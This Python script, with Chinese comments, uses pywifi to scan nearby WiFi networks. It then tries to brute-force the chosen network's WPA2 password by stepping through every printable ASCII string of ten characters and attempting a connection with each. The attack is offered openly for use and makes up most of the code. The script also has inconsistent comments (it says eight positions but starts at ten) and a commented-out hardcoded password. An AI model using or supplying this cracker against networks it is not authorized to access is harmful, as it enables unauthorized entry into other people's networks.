import itertools
import sys
import pywifi
from pywifi import const
import time


class WiFiController:
    def __init__(self):
        self.wifi = pywifi.PyWiFi()
        self.iface = self.wifi.interfaces()[0]
        self.scan_results = []

    def scan_networks(self):
        """扫描附近WiFi网络"""
        print("正在扫描WiFi网络...")
        self.iface.scan()
        time.sleep(5)  # 等待扫描完成
        self.scan_results = self.iface.scan_results()

        if not self.scan_results:
            print("没有找到任何WiFi网络")
            return False

        print("\n发现WiFi网络列表:")
        print("{:<4} {:<25} {:<10} {:<15}".format("序号", "SSID", "信号强度", "加密类型"))
        print("-" * 60)

        for i, network in enumerate(self.scan_results, 1):
            ssid = network.ssid if network.ssid else "<隐藏网络>"
            signal = f"{network.signal} dBm"
            encryption = self._get_encryption_type(network)
            print("{:<4} {:<25} {:<10} {:<15}".format(i, ssid, signal, encryption))

        return True

    def _get_encryption_type(self, network):
        """获取加密类型"""
        if not network.akm:
            return "开放网络"

        encryption_map = {
            const.AKM_TYPE_NONE: "无",
            const.AKM_TYPE_WPA: "WPA",
            const.AKM_TYPE_WPAPSK: "WPA-PSK",
            const.AKM_TYPE_WPA2: "WPA2",
            const.AKM_TYPE_WPA2PSK: "WPA2-PSK",
            const.AKM_TYPE_UNKNOWN: "未知"
        }

        return encryption_map.get(network.akm[0], "未知加密")

    def connect_to_network(self, ssid, password=None):
        """连接到指定WiFi网络"""
        # 创建WiFi配置文件
        profile = pywifi.Profile()
        profile.ssid = ssid
        profile.auth = const.AUTH_ALG_OPEN
        profile.cipher = const.CIPHER_TYPE_CCMP

        # 设置加密类型
        if password:
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            profile.key = password
        else:
            profile.akm.append(const.AKM_TYPE_NONE)

        # 移除所有已有配置并添加新配置
        self.iface.remove_all_network_profiles()
        tmp_profile = self.iface.add_network_profile(profile)

        # 尝试连接
        print(f"正在尝试连接到 {ssid}...")
        self.iface.connect(tmp_profile)

        # 等待连接结果
        time.sleep(5)

        if self.iface.status() == const.IFACE_CONNECTED:
            print(f"成功连接到 {ssid}!")
            return True
        else:
            print(f"连接 {ssid} 失败，请检查密码或网络设置")
            return False

    def disconnect(self):
        """断开当前连接"""
        self.iface.disconnect()
        print("已断开WiFi连接")


def main():
    controller = WiFiController()

    if not controller.scan_networks():
        return

    try:
        selection = input("\n请输入要连接的网络序号 (或输入q退出): ")
        if selection.lower() == 'q':
            return

        index = int(selection) - 1
        if index < 0 or index >= len(controller.scan_results):
            print("无效的选择!")
            return

        selected_network = controller.scan_results[index]
        ssid = selected_network.ssid if selected_network.ssid else input("检测到隐藏网络，请输入SSID: ")

        # # 检查是否需要密码
        # password = 1240468977

        getPassword(controller,ssid)

        # if selected_network.akm:  # 如果有加密
        #     password = input(f"请输入 {ssid} 的密码: ")



    except ValueError:
        print("请输入有效的数字!")
    except Exception as e:
        print(f"发生错误: {e}")



def carry(lst, base=122, zero=33):
    i = len(lst) - 1
    while i >= 0:
        if lst[i] >= base:
            lst[i] = zero
            if i == 0:
                lst.insert(0, 1)  # 位数增加
                break
            else:
                lst[i - 1] += 1
                i -= 1
        else:
            break

    # 全 122 检查
    if set(lst) == {base}:
        print("全部为 122，程序结束。")
        print(lst)
        sys.exit(0)

    return lst

def getPassword(controller,ssid):
    count = 1
    # 循环判断密码
    number = 10
    while True:  # 海象运算符，简洁
        # ASCLL的范围 33-122 !-z
        # 初始化 8 位，全 33
        lst = [33] * number

        # 一直累加并打印
        while True:
            lst[-1] += 1  # 每次给最低位 +1
            carry(lst)  # 处理进位
            # print(lst)  # 可选：实时观察

            ascii_chars   = [chr(num) for num in lst]
            password = ''.join(ascii_chars)

            print("第"+str(count)+"次执行,密码是",password)
            count += 1

            # 尝试连接
            result = controller.connect_to_network(ssid, password)
            if result:
                return lst


if __name__ == "__main__":
    start = time.perf_counter()  # 高精度计时器（单位：秒）
    main()
    end = time.perf_counter()
    print(f"程序耗时：{end - start:.3f} 秒")


